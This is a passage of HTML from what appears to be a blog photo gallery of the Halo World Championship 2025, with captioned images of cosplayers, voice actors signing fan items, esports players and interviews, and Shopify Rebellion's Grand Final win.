  <figcaption class="text-center">The 2004 OG Halo champions.</figcaption>
</figure>







<figure>
  
  <img
    class="mx-auto my-0 rounded-md"
    loading="lazy"
    decoding="async"
    alt="Steve Downes enjoying a break with a lollipop."
    
    
    
      src="https://assets.den.dev/images/postmedia/halo-world-championship-2025/photo-35.webp"
    
  />
  
  <figcaption class="text-center">Steve Downes enjoying a break with a lollipop.</figcaption>
</figure>







<figure>
  
  <img
    class="mx-auto my-0 rounded-md"
    loading="lazy"
    decoding="async"
    alt="Steve Downes and Master Chief."
    
    
    
      src="https://assets.den.dev/images/postmedia/halo-world-championship-2025/photo-36.webp"
    
  />
  
  <figcaption class="text-center">Steve Downes and Master Chief.</figcaption>
</figure>







<figure>
  
  <img
    class="mx-auto my-0 rounded-md"
    loading="lazy"
    decoding="async"
    alt="Halo Campaign Evolved playtest on the Community Stage."
    
    
    
      src="https://assets.den.dev/images/postmedia/halo-world-championship-2025/photo-37.webp"
    
  />
  
  <figcaption class="text-center">Halo Campaign Evolved playtest on the Community Stage.</figcaption>
</figure>







<figure>
  
  <img
    class="mx-auto my-0 rounded-md"
    loading="lazy"
    decoding="async"
    alt="First look inside Halo Campaign Evolved."
    
    
    
      src="https://assets.den.dev/images/postmedia/halo-world-championship-2025/photo-38.webp"
    
  />
  
  <figcaption class="text-center">First look inside Halo Campaign Evolved.</figcaption>
</figure>







<figure>
  
  <img
    class="mx-auto my-0 rounded-md"
    loading="lazy"
    decoding="async"
    alt="Closeup of the secondary stage."
    
    
    
      src="https://assets.den.dev/images/postmedia/halo-world-championship-2025/photo-39.webp"
    
  />
  
  <figcaption class="text-center">Closeup of the secondary stage.</figcaption>
</figure>







<figure>
  
  <img
    class="mx-auto my-0 rounded-md"
    loading="lazy"
    decoding="async"
    alt="Lucid getting ready to play some Halo."
    
    
    
      src="https://assets.den.dev/images/postmedia/halo-world-championship-2025/photo-40.webp"
    
  />
  
  <figcaption class="text-center">Lucid getting ready to play some Halo.</figcaption>
</figure>







<figure>
  
  <img
    class="mx-auto my-0 rounded-md"
    loading="lazy"
    decoding="async"
    alt="Did I mention that the cosplayers were excellent?"
    
    
    
      src="https://assets.den.dev/images/postmedia/halo-world-championship-2025/photo-41.webp"
    
  />
  
  <figcaption class="text-center">Did I mention that the cosplayers were excellent?</figcaption>
</figure>







<figure>
  
  <img
    class="mx-auto my-0 rounded-md"
    loading="lazy"
    decoding="async"
    alt="Miss Boof with her LED-decorated Spartan armor."
    
    
    
      src="https://assets.den.dev/images/postmedia/halo-world-championship-2025/photo-42.webp"
    
  />
  
  <figcaption class="text-center">Miss Boof with her LED-decorated Spartan armor.</figcaption>
</figure>







<figure>
  
  <img
    class="mx-auto my-0 rounded-md"
    loading="lazy"
    decoding="async"
    alt="Formal checking the socials."
    
    
    
      src="https://assets.den.dev/images/postmedia/halo-world-championship-2025/photo-43.webp"
    
  />
  
  <figcaption class="text-center">Formal checking the socials.</figcaption>
</figure>







<figure>
  
  <img
    class="mx-auto my-0 rounded-md"
    loading="lazy"
    decoding="async"
    alt="Shopify vs. Faze."
    
    
    
      src="https://assets.den.dev/images/postmedia/halo-world-championship-2025/photo-44.webp"
    
  />
  
  <figcaption class="text-center">Shopify vs. Faze.</figcaption>
</figure>







<figure>
  
  <img
    class="mx-auto my-0 rounded-md"
    loading="lazy"
    decoding="async"
    alt="Royal2 focused on the match."
    
    
    
      src="https://assets.den.dev/images/postmedia/halo-world-championship-2025/photo-45.webp"
    
  />
  
  <figcaption class="text-center">Royal2 focused on the match.</figcaption>
</figure>







<figure>
  
  <img
    class="mx-auto my-0 rounded-md"
    loading="lazy"
    decoding="async"
    alt="Lucid before the game against Shopify Rebellion."
    
    
    
      src="https://assets.den.dev/images/postmedia/halo-world-championship-2025/photo-46.webp"
    
  />
  
  <figcaption class="text-center">Lucid before the game against Shopify Rebellion.</figcaption>
</figure>







<figure>
  
  <img
    class="mx-auto my-0 rounded-md"
    loading="lazy"
    decoding="async"
    alt="Faze Clan winning the first match against Shopify Rebellion."
    
    
    
      src="https://assets.den.dev/images/postmedia/halo-world-championship-2025/photo-47.webp"
    
  />
  
  <figcaption class="text-center">Faze Clan winning the first match against Shopify Rebellion.</figcaption>
</figure>







<figure>
  
  <img
    class="mx-auto my-0 rounded-md"
    loading="lazy"
    decoding="async"
    alt="Ron Brown MC-ing the community stage."
    
    
    
      src="https://assets.den.dev/images/postmedia/halo-world-championship-2025/photo-48.webp"
    
  />
  
  <figcaption class="text-center">Ron Brown MC-ing the community stage.</figcaption>
</figure>







<figure>
  
  <img
    class="mx-auto my-0 rounded-md"
    loading="lazy"
    decoding="async"
    alt="Ron Brown and Unyshek having a (not so heated) debate."
    
    
    
      src="https://assets.den.dev/images/postmedia/halo-world-championship-2025/photo-49.webp"
    
  />
  
  <figcaption class="text-center">Ron Brown and Unyshek having a (not so heated) debate.</figcaption>
</figure>







<figure>
  
  <img
    class="mx-auto my-0 rounded-md"
    loading="lazy"
    decoding="async"
    alt="Stellur warming up."
    
    
    
      src="https://assets.den.dev/images/postmedia/halo-world-championship-2025/photo-50.webp"
    
  />
  
  <figcaption class="text-center">Stellur warming up.</figcaption>
</figure>







<figure>
  
  <img
    class="mx-auto my-0 rounded-md"
    loading="lazy"
    decoding="async"
    alt="Carter-A259 statue."
    
    
    
      src="https://assets.den.dev/images/postmedia/halo-world-championship-2025/photo-51.webp"
    
  />
  
  <figcaption class="text-center">Carter-A259 statue.</figcaption>
</figure>







<figure>
  
  <img
    class="mx-auto my-0 rounded-md"
    loading="lazy"
    decoding="async"
    alt="Ron Brown and a cosplayer on stage."
    
    
    
      src="https://assets.den.dev/images/postmedia/halo-world-championship-2025/photo-52.webp"
    
  />
  
  <figcaption class="text-center">Ron Brown and a cosplayer on stage.</figcaption>
</figure>







<figure>
  
  <img
    class="mx-auto my-0 rounded-md"
    loading="lazy"
    decoding="async"
    alt="Japan-inspired version of Master Chief."
    
    
    
      src="https://assets.den.dev/images/postmedia/halo-world-championship-2025/photo-53.webp"
    
  />
  
  <figcaption class="text-center">Japan-inspired version of Master Chief.</figcaption>
</figure>







<figure>
  
  <img
    class="mx-auto my-0 rounded-md"
    loading="lazy"
    decoding="async"
    alt="The one and only Ron Brown."
    
    
    
      src="https://assets.den.dev/images/postmedia/halo-world-championship-2025/photo-54.webp"
    
  />
  
  <figcaption class="text-center">The one and only Ron Brown.</figcaption>
</figure>







<figure>
  
  <img
    class="mx-auto my-0 rounded-md"
    loading="lazy"
    decoding="async"
    alt="Unyshek introducing cosplay contest participants."
    
    
    
      src="https://assets.den.dev/images/postmedia/halo-world-championship-2025/photo-55.webp"
    
  />
  
  <figcaption class="text-center">Unyshek introducing cosplay contest participants.</figcaption>
</figure>







<figure>
  
  <img
    class="mx-auto my-0 rounded-md"
    loading="lazy"
    decoding="async"
    alt="Halo cosplayer."
    
    
    
      src="https://assets.den.dev/images/postmedia/halo-world-championship-2025/photo-56.webp"
    
  />
  
  <figcaption class="text-center">Halo cosplayer.</figcaption>
</figure>







<figure>
  
  <img
    class="mx-auto my-0 rounded-md"
    loading="lazy"
    decoding="async"
    alt="Re-living the Entrenched event."
    
    
    
      src="https://assets.den.dev/images/postmedia/halo-world-championship-2025/photo-57.webp"
    
  />
  
  <figcaption class="text-center">Re-living the Entrenched event.</figcaption>
</figure>







<figure>
  
  <img
    class="mx-auto my-0 rounded-md"
    loading="lazy"
    decoding="async"
    alt="Nothing more entertaining than a lore-accurate Spartan representation."
    
    
    
      src="https://assets.den.dev/images/postmedia/halo-world-championship-2025/photo-58.webp"
    
  />
  
  <figcaption class="text-center">Nothing more entertaining than a lore-accurate Spartan representation.</figcaption>
</figure>







<figure>
  
  <img
    class="mx-auto my-0 rounded-md"
    loading="lazy"
    decoding="async"
    alt="At the same time, not everyone needs to be a Spartan."
    
    
    
      src="https://assets.den.dev/images/postmedia/halo-world-championship-2025/photo-59.webp"
    
  />
  
  <figcaption class="text-center">At the same time, not everyone needs to be a Spartan.</figcaption>
</figure>







<figure>
  
  <img
    class="mx-auto my-0 rounded-md"
    loading="lazy"
    decoding="async"
    alt="Cosplayers also had fairly accurate replicas of the UNSC weaponry."
    
    
    
      src="https://assets.den.dev/images/postmedia/halo-world-championship-2025/photo-60.webp"
    
  />
  
  <figcaption class="text-center">Cosplayers also had fairly accurate replicas of the UNSC weaponry.</figcaption>
</figure>







<figure>
  
  <img
    class="mx-auto my-0 rounded-md"
    loading="lazy"
    decoding="async"
    alt="Cat ears made a re-appearance this year."
    
    
    
      src="https://assets.den.dev/images/postmedia/halo-world-championship-2025/photo-61.webp"
    
  />
  
  <figcaption class="text-center">Cat ears made a re-appearance this year.</figcaption>
</figure>







<figure>
  
  <img
    class="mx-auto my-0 rounded-md"
    loading="lazy"
    decoding="async"
    alt="Spartans can also be pink."
    
    
    
      src="https://assets.den.dev/images/postmedia/halo-world-championship-2025/photo-62.webp"
    
  />
  
  <figcaption class="text-center">Spartans can also be pink.</figcaption>
</figure>







<figure>
  
  <img
    class="mx-auto my-0 rounded-md"
    loading="lazy"
    decoding="async"
    alt="Master Chief made entirely of wool."
    
    
    
      src="https://assets.den.dev/images/postmedia/halo-world-championship-2025/photo-63.webp"
    
  />
  
  <figcaption class="text-center">Master Chief made entirely of wool.</figcaption>
</figure>







<figure>
  
  <img
    class="mx-auto my-0 rounded-md"
    loading="lazy"
    decoding="async"
    alt="Miss Boof on stage."
    
    
    
      src="https://assets.den.dev/images/postmedia/halo-world-championship-2025/photo-64.webp"
    
  />
  
  <figcaption class="text-center">Miss Boof on stage.</figcaption>
</figure>







<figure>
  
  <img
    class="mx-auto my-0 rounded-md"
    loading="lazy"
    decoding="async"
    alt="Ron taking on Brute-inspired workout routines."
    
    
    
      src="https://assets.den.dev/images/postmedia/halo-world-championship-2025/photo-65.webp"
    
  />
  
  <figcaption class="text-center">Ron taking on Brute-inspired workout routines.</figcaption>
</figure>







<figure>
  
  <img
    class="mx-auto my-0 rounded-md"
    loading="lazy"
    decoding="async"
    alt="Feats of strength on stage."
    
    
    
      src="https://assets.den.dev/images/postmedia/halo-world-championship-2025/photo-66.webp"
    
  />
  
  <figcaption class="text-center">Feats of strength on stage.</figcaption>
</figure>







<figure>
  
  <img
    class="mx-auto my-0 rounded-md"
    loading="lazy"
    decoding="async"
    alt="Spartan with a gravity hammer."
    
    
    
      src="https://assets.den.dev/images/postmedia/halo-world-championship-2025/photo-67.webp"
    
  />
  
  <figcaption class="text-center">Spartan with a gravity hammer.</figcaption>
</figure>







<figure>
  
  <img
    class="mx-auto my-0 rounded-md"
    loading="lazy"
    decoding="async"
    alt="Ron judging a Spartan."
    
    
    
      src="https://assets.den.dev/images/postmedia/halo-world-championship-2025/photo-68.webp"
    
  />
  
  <figcaption class="text-center">Ron judging a Spartan.</figcaption>
</figure>







<figure>
  
  <img
    class="mx-auto my-0 rounded-md"
    loading="lazy"
    decoding="async"
    alt="Spartan cosplayer on the community stage."
    
    
    
      src="https://assets.den.dev/images/postmedia/halo-world-championship-2025/photo-69.webp"
    
  />
  
  <figcaption class="text-center">Spartan cosplayer on the community stage.</figcaption>
</figure>







<figure>
  
  <img
    class="mx-auto my-0 rounded-md"
    loading="lazy"
    decoding="async"
    alt="All of the cosplayers on the community stage."
    
    
    
      src="https://assets.den.dev/images/postmedia/halo-world-championship-2025/photo-70.webp"
    
  />
  
  <figcaption class="text-center">All of the cosplayers on the community stage.</figcaption>
</figure>







<figure>
  
  <img
    class="mx-auto my-0 rounded-md"
    loading="lazy"
    decoding="async"
    alt="Sneaking through the crowd of other cosplayers."
    
    
    
      src="https://assets.den.dev/images/postmedia/halo-world-championship-2025/photo-71.webp"
    
  />
  
  <figcaption class="text-center">Sneaking through the crowd of other cosplayers.</figcaption>
</figure>







<figure>
  
  <img
    class="mx-auto my-0 rounded-md"
    loading="lazy"
    decoding="async"
    alt="Catherine Halsey was there too."
    
    
    
      src="https://assets.den.dev/images/postmedia/halo-world-championship-2025/photo-72.webp"
    
  />
  
  <figcaption class="text-center">Catherine Halsey was there too.</figcaption>
</figure>







<figure>
  
  <img
    class="mx-auto my-0 rounded-md"
    loading="lazy"
    decoding="async"
    alt="A close-up of the cosplayer group on the community stage."
    
    
    
      src="https://assets.den.dev/images/postmedia/halo-world-championship-2025/photo-73.webp"
    
  />
  
  <figcaption class="text-center">A close-up of the cosplayer group on the community stage.</figcaption>
</figure>







<figure>
  
  <img
    class="mx-auto my-0 rounded-md"
    loading="lazy"
    decoding="async"
    alt="Coach SenscR for Cloud9."
    
    
    
      src="https://assets.den.dev/images/postmedia/halo-world-championship-2025/photo-74.webp"
    
  />
  
  <figcaption class="text-center">Coach SenscR for Cloud9.</figcaption>
</figure>







<figure>
  
  <img
    class="mx-auto my-0 rounded-md"
    loading="lazy"
    decoding="async"
    alt="Bubu Dubu preparing for the match."
    
    
    
      src="https://assets.den.dev/images/postmedia/halo-world-championship-2025/photo-75.webp"
    
  />
  
  <figcaption class="text-center">Bubu Dubu preparing for the match.</figcaption>
</figure>







<figure>
  
  <img
    class="mx-auto my-0 rounded-md"
    loading="lazy"
    decoding="async"
    alt="Kuhlect sharing strategies before the match."
    
    
    
      src="https://assets.den.dev/images/postmedia/halo-world-championship-2025/photo-76.webp"
    
  />
  
  <figcaption class="text-center">Kuhlect sharing strategies before the match.</figcaption>
</figure>







<figure>
  
  <img
    class="mx-auto my-0 rounded-md"
    loading="lazy"
    decoding="async"
    alt="Steve Downes and Jen Taylor signing fan gear."
    
    
    
      src="https://assets.den.dev/images/postmedia/halo-world-championship-2025/photo-77.webp"
    
  />
  
  <figcaption class="text-center">Steve Downes and Jen Taylor signing fan gear.</figcaption>
</figure>







<figure>
  
  <img
    class="mx-auto my-0 rounded-md"
    loading="lazy"
    decoding="async"
    alt="Jen Taylor signing a Master Chief figurine."
    
    
    
      src="https://assets.den.dev/images/postmedia/halo-world-championship-2025/photo-78.webp"
    
  />
  
  <figcaption class="text-center">Jen Taylor signing a Master Chief figurine.</figcaption>
</figure>







<figure>
  
  <img
    class="mx-auto my-0 rounded-md"
    loading="lazy"
    decoding="async"
    alt="Steve Downes signing a HaloFest poster."
    
    
    
      src="https://assets.den.dev/images/postmedia/halo-world-championship-2025/photo-79.webp"
    
  />
  
  <figcaption class="text-center">Steve Downes signing a HaloFest poster.</figcaption>
</figure>







<figure>
  
  <img
    class="mx-auto my-0 rounded-md"
    loading="lazy"
    decoding="async"
    alt="Steve Downes excitingly greeting a fan."
    
    
    
      src="https://assets.den.dev/images/postmedia/halo-world-championship-2025/photo-80.webp"
    
  />
  
  <figcaption class="text-center">Steve Downes excitingly greeting a fan.</figcaption>
</figure>







<figure>
  
  <img
    class="mx-auto my-0 rounded-md"
    loading="lazy"
    decoding="async"
    alt="Jen Taylor, the voice of Cortana."
    
    
    
      src="https://assets.den.dev/images/postmedia/halo-world-championship-2025/photo-81.webp"
    
  />
  
  <figcaption class="text-center">Jen Taylor, the voice of Cortana.</figcaption>
</figure>







<figure>
  
  <img
    class="mx-auto my-0 rounded-md"
    loading="lazy"
    decoding="async"
    alt="Steve signing artifacts while a massive crowd waits in line."
    
    
    
      src="https://assets.den.dev/images/postmedia/halo-world-championship-2025/photo-82.webp"
    
  />
  
  <figcaption class="text-center">Steve signing artifacts while a massive crowd waits in line.</figcaption>
</figure>







<figure>
  
  <img
    class="mx-auto my-0 rounded-md"
    loading="lazy"
    decoding="async"
    alt="Steve and Jen spending an entire hour signing fan items."
    
    
    
      src="https://assets.den.dev/images/postmedia/halo-world-championship-2025/photo-83.webp"
    
  />
  
  <figcaption class="text-center">Steve and Jen spending an entire hour signing fan items.</figcaption>
</figure>







<figure>
  
  <img
    class="mx-auto my-0 rounded-md"
    loading="lazy"
    decoding="async"
    alt="Optic Gaming fans in the first few rows of the main stage."
    
    
    
      src="https://assets.den.dev/images/postmedia/halo-world-championship-2025/photo-84.webp"
    
  />
  
  <figcaption class="text-center">Optic Gaming fans in the first few rows of the main stage.</figcaption>
</figure>







<figure>
  
  <img
    class="mx-auto my-0 rounded-md"
    loading="lazy"
    decoding="async"
    alt="Formal and Blaze prepare for their interview."
    
    
    
      src="https://assets.den.dev/images/postmedia/halo-world-championship-2025/photo-85.webp"
    
  />
  
  <figcaption class="text-center">Formal and Blaze prepare for their interview.</figcaption>
</figure>







<figure>
  
  <img
    class="mx-auto my-0 rounded-md"
    loading="lazy"
    decoding="async"
    alt="Formal and Blaze chatting on the main stage."
    
    
    
      src="https://assets.den.dev/images/postmedia/halo-world-championship-2025/photo-86.webp"
    
  />
  
  <figcaption class="text-center">Formal and Blaze chatting on the main stage.</figcaption>
</figure>







<figure>
  
  <img
    class="mx-auto my-0 rounded-md"
    loading="lazy"
    decoding="async"
    alt="Formal - the Optic Gaming MVP."
    
    
    
      src="https://assets.den.dev/images/postmedia/halo-world-championship-2025/photo-87.webp"
    
  />
  
  <figcaption class="text-center">Formal - the Optic Gaming MVP.</figcaption>
</figure>







<figure>
  
  <img
    class="mx-auto my-0 rounded-md"
    loading="lazy"
    decoding="async"
    alt="Blaze interviewing Formal on the main stage."
    
    
    
      src="https://assets.den.dev/images/postmedia/halo-world-championship-2025/photo-88.webp"
    
  />
  
  <figcaption class="text-center">Blaze interviewing Formal on the main stage.</figcaption>
</figure>







<figure>
  
  <img
    class="mx-auto my-0 rounded-md"
    loading="lazy"
    decoding="async"
    alt="Blaze running through Formal&#39;s achievements."
    
    
    
      src="https://assets.den.dev/images/postmedia/halo-world-championship-2025/photo-89.webp"
    
  />
  
  <figcaption class="text-center">Blaze running through Formal&rsquo;s achievements.</figcaption>
</figure>







<figure>
  
  <img
    class="mx-auto my-0 rounded-md"
    loading="lazy"
    decoding="async"
    alt="Formal thanking his fans on the main stage."
    
    
    
      src="https://assets.den.dev/images/postmedia/halo-world-championship-2025/photo-90.webp"
    
  />
  
  <figcaption class="text-center">Formal thanking his fans on the main stage.</figcaption>
</figure>







<figure>
  
  <img
    class="mx-auto my-0 rounded-md"
    loading="lazy"
    decoding="async"
    alt="Casters commenting on the cosplay contest results on the main stage."
    
    
    
      src="https://assets.den.dev/images/postmedia/halo-world-championship-2025/photo-91.webp"
    
  />
  
  <figcaption class="text-center">Casters commenting on the cosplay contest results on the main stage.</figcaption>
</figure>







<figure>
  
  <img
    class="mx-auto my-0 rounded-md"
    loading="lazy"
    decoding="async"
    alt="Knitted wool Master Chief strikes again."
    
    
    
      src="https://assets.den.dev/images/postmedia/halo-world-championship-2025/photo-92.webp"
    
  />
  
  <figcaption class="text-center">Knitted wool Master Chief strikes again.</figcaption>
</figure>







<figure>
  
  <img
    class="mx-auto my-0 rounded-md"
    loading="lazy"
    decoding="async"
    alt="Flood-infected Spartan."
    
    
    
      src="https://assets.den.dev/images/postmedia/halo-world-championship-2025/photo-93.webp"
    
  />
  
  <figcaption class="text-center">Flood-infected Spartan.</figcaption>
</figure>







<figure>
  
  <img
    class="mx-auto my-0 rounded-md"
    loading="lazy"
    decoding="async"
    alt="Miss Boof on the main stage."
    
    
    
      src="https://assets.den.dev/images/postmedia/halo-world-championship-2025/photo-94.webp"
    
  />
  
  <figcaption class="text-center">Miss Boof on the main stage.</figcaption>
</figure>







<figure>
  
  <img
    class="mx-auto my-0 rounded-md"
    loading="lazy"
    decoding="async"
    alt="There&#39;s friendship in cosplay competition."
    
    
    
      src="https://assets.den.dev/images/postmedia/halo-world-championship-2025/photo-95.webp"
    
  />
  
  <figcaption class="text-center">There&rsquo;s friendship in cosplay competition.</figcaption>
</figure>







<figure>
  
  <img
    class="mx-auto my-0 rounded-md"
    loading="lazy"
    decoding="async"
    alt="Blaze interviewing Miss Boof during the cosplay contest results announcement."
    
    
    
      src="https://assets.den.dev/images/postmedia/halo-world-championship-2025/photo-96.webp"
    
  />
  
  <figcaption class="text-center">Blaze interviewing Miss Boof during the cosplay contest results announcement.</figcaption>
</figure>







<figure>
  
  <img
    class="mx-auto my-0 rounded-md"
    loading="lazy"
    decoding="async"
    alt="Spartan cosplayers."
    
    
    
      src="https://assets.den.dev/images/postmedia/halo-world-championship-2025/photo-97.webp"
    
  />
  
  <figcaption class="text-center">Spartan cosplayers.</figcaption>
</figure>







<figure>
  
  <img
    class="mx-auto my-0 rounded-md"
    loading="lazy"
    decoding="async"
    alt="Spartan cosplayers, a marine, and an ODST."
    
    
    
      src="https://assets.den.dev/images/postmedia/halo-world-championship-2025/photo-98.webp"
    
  />
  
  <figcaption class="text-center">Spartan cosplayers, a marine, and an ODST.</figcaption>
</figure>







<figure>
  
  <img
    class="mx-auto my-0 rounded-md"
    loading="lazy"
    decoding="async"
    alt="Some cosplayers were determined to never crack a smile."
    
    
    
      src="https://assets.den.dev/images/postmedia/halo-world-championship-2025/photo-99.webp"
    
  />
  
  <figcaption class="text-center">Some cosplayers were determined to never crack a smile.</figcaption>
</figure>







<figure>
  
  <img
    class="mx-auto my-0 rounded-md"
    loading="lazy"
    decoding="async"
    alt="The top cosplay contestants."
    
    
    
      src="https://assets.den.dev/images/postmedia/halo-world-championship-2025/photo-100.webp"
    
  />
  
  <figcaption class="text-center">The top cosplay contestants.</figcaption>
</figure>







<figure>
  
  <img
    class="mx-auto my-0 rounded-md"
    loading="lazy"
    decoding="async"
    alt="Catherine Halsey and her creations."
    
    
    
      src="https://assets.den.dev/images/postmedia/halo-world-championship-2025/photo-101.webp"
    
  />
  
  <figcaption class="text-center">Catherine Halsey and her creations.</figcaption>
</figure>







<figure>
  
  <img
    class="mx-auto my-0 rounded-md"
    loading="lazy"
    decoding="async"
    alt="Lqgend ready for his match"
    
    
    
      src="https://assets.den.dev/images/postmedia/halo-world-championship-2025/photo-102.webp"
    
  />
  
  <figcaption class="text-center">Lqgend ready for his match</figcaption>
</figure>







<figure>
  
  <img
    class="mx-auto my-0 rounded-md"
    loading="lazy"
    decoding="async"
    alt="Tony clearly happy about the match results."
    
    
    
      src="https://assets.den.dev/images/postmedia/halo-world-championship-2025/photo-103.webp"
    
  />
  
  <figcaption class="text-center">Tony clearly happy about the match results.</figcaption>
</figure>







<figure>
  
  <img
    class="mx-auto my-0 rounded-md"
    loading="lazy"
    decoding="async"
    alt="Clutch, on the other hand - maybe not so much."
    
    
    
      src="https://assets.den.dev/images/postmedia/halo-world-championship-2025/photo-104.webp"
    
  />
  
  <figcaption class="text-center">Clutch, on the other hand - maybe not so much.</figcaption>
</figure>







<figure>
  
  <img
    class="mx-auto my-0 rounded-md"
    loading="lazy"
    decoding="async"
    alt="Blaze judging a rock-paper-scissors contest."
    
    
    
      src="https://assets.den.dev/images/postmedia/halo-world-championship-2025/photo-105.webp"
    
  />
  
  <figcaption class="text-center">Blaze judging a rock-paper-scissors contest.</figcaption>
</figure>







<figure>
  
  <img
    class="mx-auto my-0 rounded-md"
    loading="lazy"
    decoding="async"
    alt="Royal2 warming up."
    
    
    
      src="https://assets.den.dev/images/postmedia/halo-world-championship-2025/photo-106.webp"
    
  />
  
  <figcaption class="text-center">Royal2 warming up.</figcaption>
</figure>







<figure>
  
  <img
    class="mx-auto my-0 rounded-md"
    loading="lazy"
    decoding="async"
    alt="Halo Infinite championship trophy."
    
    
    
      src="https://assets.den.dev/images/postmedia/halo-world-championship-2025/photo-107.webp"
    
  />
  
  <figcaption class="text-center">Halo Infinite championship trophy.</figcaption>
</figure>







<figure>
  
  <img
    class="mx-auto my-0 rounded-md"
    loading="lazy"
    decoding="async"
    alt="A closer look at the same trophy."
    
    
    
      src="https://assets.den.dev/images/postmedia/halo-world-championship-2025/photo-108.webp"
    
  />
  
  <figcaption class="text-center">A closer look at the same trophy.</figcaption>
</figure>







<figure>
  
  <img
    class="mx-auto my-0 rounded-md"
    loading="lazy"
    decoding="async"
    alt="Tashi thanking the community for a great four years of Halo Infinite."
    
    
    
      src="https://assets.den.dev/images/postmedia/halo-world-championship-2025/photo-109.webp"
    
  />
  
  <figcaption class="text-center">Tashi thanking the community for a great four years of Halo Infinite.</figcaption>
</figure>







<figure>
  
  <img
    class="mx-auto my-0 rounded-md"
    loading="lazy"
    decoding="async"
    alt="Tashi and the casters (Clutch and Lottie)."
    
    
    
      src="https://assets.den.dev/images/postmedia/halo-world-championship-2025/photo-110.webp"
    
  />
  
  <figcaption class="text-center">Tashi and the casters (Clutch and Lottie).</figcaption>
</figure>







<figure>
  
  <img
    class="mx-auto my-0 rounded-md"
    loading="lazy"
    decoding="async"
    alt="Blaze on the main stage."
    
    
    
      src="https://assets.den.dev/images/postmedia/halo-world-championship-2025/photo-111.webp"
    
  />
  
  <figcaption class="text-center">Blaze on the main stage.</figcaption>
</figure>







<figure>
  
  <img
    class="mx-auto my-0 rounded-md"
    loading="lazy"
    decoding="async"
    alt="Optic Gaming before the final matchup."
    
    
    
      src="https://assets.den.dev/images/postmedia/halo-world-championship-2025/photo-112.webp"
    
  />
  
  <figcaption class="text-center">Optic Gaming before the final matchup.</figcaption>
</figure>







<figure>
  
  <img
    class="mx-auto my-0 rounded-md"
    loading="lazy"
    decoding="async"
    alt="Cykul before the final matchup."
    
    
    
      src="https://assets.den.dev/images/postmedia/halo-world-championship-2025/photo-113.webp"
    
  />
  
  <figcaption class="text-center">Cykul before the final matchup.</figcaption>
</figure>







<figure>
  
  <img
    class="mx-auto my-0 rounded-md"
    loading="lazy"
    decoding="async"
    alt="Blaze announcing the Grand Final on the main stage."
    
    
    
      src="https://assets.den.dev/images/postmedia/halo-world-championship-2025/photo-114.webp"
    
  />
  
  <figcaption class="text-center">Blaze announcing the Grand Final on the main stage.</figcaption>
</figure>







<figure>
  
  <img
    class="mx-auto my-0 rounded-md"
    loading="lazy"
    decoding="async"
    alt="Grand Final setup on the main stage."
    
    
    
      src="https://assets.den.dev/images/postmedia/halo-world-championship-2025/photo-115.webp"
    
  />
  
  <figcaption class="text-center">Grand Final setup on the main stage.</figcaption>
</figure>







<figure>
  
  <img
    class="mx-auto my-0 rounded-md"
    loading="lazy"
    decoding="async"
    alt="Shopify Rebellion celebrating their well-deserved win."
    
    
    
      src="https://assets.den.dev/images/postmedia/halo-world-championship-2025/photo-116.webp"
    
  />
  
  <figcaption class="text-center">Shopify Rebellion celebrating their well-deserved win.</figcaption>
</figure>







<figure>
  
  <img
    class="mx-auto my-0 rounded-md"
    loading="lazy"
    decoding="async"
    alt="Blaze pointing to the audience as everyone celebrated Shopify&#39;s win."
    
    
    
      src="https://assets.den.dev/images/postmedia/halo-world-championship-2025/photo-117.webp"
    
  />
  
  <figcaption class="text-center">Blaze pointing to the audience as everyone celebrated Shopify&rsquo;s win.</figcaption>
</figure>







<figure>
  
  <img
    class="mx-auto my-0 rounded-md"
    loading="lazy"
    decoding="async"
    alt="Blaze and Frosty on the main stage."
    
    
    
      src="https://assets.den.dev/images/postmedia/halo-world-championship-2025/photo-118.webp"
    
  />
  
  <figcaption class="text-center">Blaze and Frosty on the main stage.</figcaption>
</figure>







<figure>
  
  <img
    class="mx-auto my-0 rounded-md"
    loading="lazy"
    decoding="async"
    alt="Frosty giving his take on the Grand Final."
    
    
    
      src="https://assets.den.dev/images/postmedia/halo-world-championship-2025/photo-119.webp"
    
  />
  
  <figcaption class="text-center">Frosty giving his take on the Grand Final.</figcaption>
</figure>







<figure>
  
  <img
    class="mx-auto my-0 rounded-md"
    loading="lazy"
    decoding="async"
    alt="Blaze and the rest of the SR team."
    
    
    
      src="https://assets.den.dev/images/postmedia/halo-world-championship-2025/photo-120.webp"
    
  />
  
  <figcaption class="text-center">Blaze and the rest of the SR team.</figcaption>
</figure>







<figure>
  
  <img
    class="mx-auto my-0 rounded-md"
    loading="lazy"
    decoding="async"
    alt="Blaze interviews Royal2."
    
    
    
      src="https://assets.den.dev/images/postmedia/halo-world-championship-2025/photo-121.webp"
    
  />
  
  <figcaption class="text-center">Blaze interviews Royal2.</figcaption>
</figure>







<figure>
  
  <img
    class="mx-auto my-0 rounded-md"
    loading="lazy"
    decoding="async"
    alt="Blaze continues to interview Royal2."
    
    
    
      src="https://assets.den.dev/images/postmedia/halo-world-championship-2025/photo-122.webp"
    
  />
  
  <figcaption class="text-center">Blaze continues to interview Royal2.</figcaption>
</figure>







<figure>
  
  <img
    class="mx-auto my-0 rounded-md"
    loading="lazy"
    decoding="async"
    alt="Blaze (still) continues to interview Royal2."
    
    
    
      src="https://assets.den.dev/images/postmedia/halo-world-championship-2025/photo-123.webp"
    
  />
  
  <figcaption class="text-center">Blaze (still) continues to interview Royal2.</figcaption>
</figure>







<figure>
  
  <img
    class="mx-auto my-0 rounded-md"
    loading="lazy"
    decoding="async"
    alt="Cykul and Blaze on the main stage."
    
    
    
      src="https://assets.den.dev/images/postmedia/halo-world-championship-2025/photo-124.webp"
    
  />
  
  <figcaption class="text-center">Cykul and Blaze on the main stage.</figcaption>
</figure>







<figure>
  
  <img
    class="mx-auto my-0 rounded-md"
    loading="lazy"
    decoding="async"
    alt="Blaze asking Cykul some tough questions about the final match."
    
    
    
      src="https://assets.den.dev/images/postmedia/halo-world-championship-2025/photo-125.webp"
    
  />
  
  <figcaption class="text-center">Blaze asking Cykul some tough questions about the final match.</figcaption>
</figure>







<figure>
  
  <img
    class="mx-auto my-0 rounded-md"
    loading="lazy"
    decoding="async"
    alt="Cykul sharing his secret to good Halo matches to a surprised Blaze."
    
    
    
      src="https://assets.den.dev/images/postmedia/halo-world-championship-2025/photo-126.webp"
    
  />
  
  <figcaption class="text-center">Cykul sharing his secret to good Halo matches to a surprised Blaze.</figcaption>
</figure>







<figure>
  
  <img
    class="mx-auto my-0 rounded-md"
    loading="lazy"
    decoding="async"
    alt="Coach BesT MaN."
    
    
    
      src="https://assets.den.dev/images/postmedia/halo-world-championship-2025/photo-127.webp"
    
  />
  
  <figcaption class="text-center">Coach BesT MaN.</figcaption>
</figure>







